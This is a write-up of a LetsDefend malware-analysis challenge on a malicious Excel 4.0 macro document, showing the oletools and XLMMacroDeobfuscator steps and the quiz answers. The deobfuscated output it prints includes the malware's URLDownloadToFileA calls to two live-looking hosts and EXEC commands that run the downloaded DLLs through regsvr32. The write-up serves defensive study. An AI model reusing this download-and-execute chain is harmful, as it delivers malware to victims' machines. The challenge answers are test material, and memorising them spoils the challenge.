Excel 4.0 Macros

URL: https://app.letsdefend.io/challenge/Excel-40-Macros

Scenario

In this challenge, we analyze a suspicious Excel document containing Excel 4.0 (XLM) macros.
Our goal is to uncover how the malware works, identify indicators of compromise (IOCs) and understand the attack techniques used.

Setting Up Tools

First of all, we need to set up the tools for the investigation.
We are going to use **oletools** and **XLMMacroDeobfuscator**.
Unzip both archives located in the **Tools** directory on the desktop (`/root/Desktop/Tools/`).

Install oletools

Go to the directory **oletools-master** and run in the terminal the following command:

```
python3 setup.py install
```

Install XLMMacroDeobfuscator

Go to the directory **XLMMacroDeobfuscator-master** and run the same command:

```
python3 setup.py install
```

XLMMacroDeobfuscator Error

If you encounter the following error:

```
Unrecognized file format
```

https://medium.com/@chaoskist/xlmmacrodeobfuscator-solving-error-deobfuscator-py-3195-process-file-vars-args-f9a26885cc23

TL;DR (quick fix):
Locate the file `formula.py` :

```
find / -name formula.py
```

We are interested in the version related to `xlrd2` :

```
/usr/local/lib/python3.8/dist-packages/xlrd2-1.3.4-py3.8.egg/xlrd2/formula.py
```

Navigate to that location and check for the following line:

```
grep "assert bv >= 80 #" formula.py
```

If it exists, replace it with `assert bv >= 70 #`.

You can do this using the following one-liner:

```
sed -i 's/assert bv >= 80 #/assert bv >= 70 #/' formula.py
```

Writeup

Now we can begin the investigation.
Extract the archive located in the **ChallengeFiles** directory on the desktop (password: *infected*).

Open the terminal in the directory with the Excel file (`.xls`).

Question 1 & 2

> **Note**
>
> In modern VBA macros, attackers use functions like `AutoOpen` and `Workbook_Open`.
> But Excel 4.0 macros don't use VBA event handlers - they rely on **special named cells**.
> Attackers define a named cell with a specific reserved name, so Excel automatically executes it when the document is opened.
>
> ### How it works step by step?
>
> Attackers:
>
> - Create a hidden sheet
> - Put malicious formula in a cell
> - Assign a defined name like `Auto_Open`
>
> When the workbook is opened, Excel automatically executes the formula referenced by `Auto_Open`

Let's start with **oleid**:

```
oleid research-1646684671.xls
```

We get:

```
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description
--------------------+--------------------+----------+--------------------------
File format         |MS Excel 5.0/95     |info      |
                    |Workbook, Template  |          |
                    |or Add-in           |          |
--------------------+--------------------+----------+--------------------------
Container format    |OLE                 |info      |Container type
--------------------+--------------------+----------+--------------------------
Application name    |Microsoft Excel     |info      |Application name declared
                    |                    |          |in properties
--------------------+--------------------+----------+--------------------------
Properties code page|1252: ANSI Latin 1; |info      |Code page used for
                    |Western European    |          |properties
                    |(Windows)           |          |
--------------------+--------------------+----------+--------------------------
Encrypted           |False               |none      |The file is not encrypted
--------------------+--------------------+----------+--------------------------
VBA Macros          |No                  |none      |This file does not contain
                    |                    |          |VBA macros.
--------------------+--------------------+----------+--------------------------
XLM Macros          |Yes                 |Medium    |This file contains XLM
                    |                    |          |macros. Use olevba to
                    |                    |          |analyse them.
--------------------+--------------------+----------+--------------------------
External            |0                   |none      |External relationships
Relationships       |                    |          |such as remote templates,
                    |                    |          |remote OLE objects, etc
--------------------+--------------------+----------+--------------------------
```

We can see there are identified XLM macros and we get a tip what to do next:

```
This file contains XLM macros. Use olevba to analyse them.
```

Unfortunately an attempt to deobfuscate the macro using **olevba** results in errors:

```
olevba --deobf research-1646684671.xls
```

Let's try then to run the **XLMMacroDeobfuscator** directly:

```
xlmdeobfuscator -n -f research-1646684671.xls
```

We get some useful results this time:

```
[Loading Cells]
auto_open: auto_open->'Doc4'!$BA$7
```

```
[Starting Deobfuscation]
CELL:BA17      , FullEvaluation      , FORMULA("R",Doc3AY16)
CELL:BA18      , FullEvaluation      ,
FORMULA("nws.visionconsulting.ro/N1G1KCXA/dot.html",Doc3AY13)
CELL:BA19      , FullEvaluation      , FORMULA("URLDownloadToFileA",Doc3AY11)
CELL:BA20      , PartialEvaluation   ,
FORMULA(=LEFT("LdecvsbgvrsxLxrgxg",1),Doc3AY17)
CELL:BA21      , FullEvaluation      ,
FORMULA("royalpalm.sparkblue.lk/vCNhYrq3Yg8/dot.html",Doc3AY14)
CELL:BA25      , FullEvaluation      , FORMULA("JJCCBB",Doc3AY12)
CELL:BA26      , FullEvaluation      , BG16()
CELL:BG17      , PartialEvaluation   , =WORKBOOK.HIDE("Doc2",1)
CELL:BG18      , PartialEvaluation   , =WORKBOOK.HIDE("Doc3",1)
CELL:BG19      , PartialEvaluation   , =WORKBOOK.HIDE("Doc4",1)
...
```

At this point, we already have answers to the first two questions:

```
[Loading Cells]
auto_open: auto_open->'Doc4'!$BA$7
```

Question

Attackers use a function to make the malicious VBA macros they have prepared run when the document is opened. What do attackers change the cell name to to make Excel 4.0 macros work to provide the same functionality?

auto_open

Question

What is the address of the first cell where Excel 4.0 macros will run in the malicious Office document you are analyzing?

Doc4!BA7

Question 3

Let's give **olevba** another try and ask only for analysis:

```
olevba -a research-1646684671.xls
```

We get a nice summary:

```
+----------+--------------------+--------------------------------------------+
|Type      |Keyword             |Description                                 |
+----------+--------------------+--------------------------------------------+
|Suspicious|URLDownloadToFileA  |May download files from the Internet        |
|Suspicious|EXEC                |May run an executable file or a system      |
|          |                    |command using Excel 4 Macros (XLM/XLF)      |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be   |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                    |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                    |
|IOC       |iroto1.dll          |Executable file name                        |
|IOC       |iroto.dll           |Executable file name                        |
|Hex String|tRcHg!1             |74526348672131                              |
|Suspicious|XLM macro           |XLM macro found. It may contain malicious   |
|          |                    |code                                        |
+----------+--------------------+--------------------------------------------+
```

And the answer:

```
|Suspicious|EXEC                |May run an executable file or a system      |
|          |                    |command using Excel 4 Macros (XLM/XLF)      |
```

Question

Which function is used to start a process in the operating system in the document you are analyzing?

EXEC

Question 4 & 5

Note

LOLBAS - Living Off the Land Binaries And Scripts

live off the land - to live by growing or finding your own food
(by https://dictionary.cambridge.org/dictionary/english/live-off-the-land)

So the meaning here is that attackers use what they find on the system instead of bringing their own tools.

Common LOLBAS:

- `rundll32.exe`
- `powershell.exe`

- `cmd.exe`
- `mshta.exe`
- `regsvr32.exe`

Now we need to get back to the output of the **XLMMacroDeobfuscator**, but this time take a closer look at the end part:

```
xlmdeobfuscator -n -f research-1646684671.xls
```

```
...
CELL:BD16      , PartialEvaluation   , "FORMULA(""=CAL&AY17&
(""""&URLMon&""""&,&""""&URLDownloadToFileA&""""&,&""""&JJCCBB&""""&,0&,&""""&https:/
/&nws.visionconsulting.ro/N1G1KCXA/dot.html&""""&,&""""&..\iroto.dll&""""&,0&,0&)"",D
oc3AW10)==SUMXMY2(452354,45245)"
CELL:BD17      , PartialEvaluation   , FORMULA("=CAL&AY17&
(""&URLMon&""&,&""&URLDownloadToFileA&""&,&""&JJCCBB&""&,0&,&""&https://&royalpalm.sp
arkblue.lk/vCNhYrq3Yg8/dot.html&""&,&""&..\iroto1.dll&""&,0&,0&)",Doc3AW11)
CELL:BD18      , FullEvaluation      , GOTO(Doc3AW8)
CELL:AW14      , PartialEvaluation   , =EXEC("regsvr32 -s ..\iroto.dll")
CELL:AW15      , PartialEvaluation   , =EXEC("regsvr32 -s ..\iroto1.dll")
CELL:AW19      , End                 , HALT()

Files:

[END of Deobfuscation]
```

The following line reveals the answers we are looking for:

```
CELL:AW14      , PartialEvaluation   , =EXEC("regsvr32 -s ..\iroto.dll")
```

Note

`regsvr32.exe` is a legitimate Windows system tool used to register (or unregister) DLL files, so they can be used by other programs

Attackers abuse `regsvr32.exe` because:

- it's trusted (signed Microsoft binary)
- already present on every Windows system
- often not blocked by security tools

Question

Which LOLBAS tool was used in the Excel 4.0 macros you analyzed?

regsvr32.exe

Question

What is the name of the registered DLL?

iroto.dll

Question 6

We are asked about the username behind the last change of the document.
This looks like metadata, so let's try **olemeta**:

```
olemeta research-1646684671.xls
```

```
+--------------------+------------------------------+
|Property            |Value                         |
+--------------------+------------------------------+
|codepage            |1252                          |
|author              |                              |
|last_saved_by       |Amanda                        |
|create_time         |2015-06-05 18:17:20           |
|last_saved_time     |2021-06-13 09:24:55           |
|creating_application|Microsoft Excel               |
|security            |0                             |
+--------------------+------------------------------+

Properties from the DocumentSummaryInformation stream:
+--------------------+------------------------------+
|Property            |Value                         |
+--------------------+------------------------------+
|codepage_doc        |1252                          |
|scale_crop          |False                         |
|company             |                              |
|links_dirty         |False                         |
+--------------------+------------------------------+
```

That was good intuition as we can see in the following line:

```
|last_saved_by       |Amanda                        |
```

Question

What is the username that made the last change to the malicious document?

Amanda

Conclusion

In this analysis, we:

- Identified the use of Excel 4.0 (XLM) macros
- Located the auto-executing entry point (`auto_open`)
- Discovered malicious download functionality
- Observed the use of LOLBAS (`regsvr32.exe`)
- Extracted the dropped DLL name (`iroto.dll`)
- Retrieved metadata identifying the last editor (**Amanda**)

Find More Writeups Here

Info

https://robjar101.gitlab.io/secstash/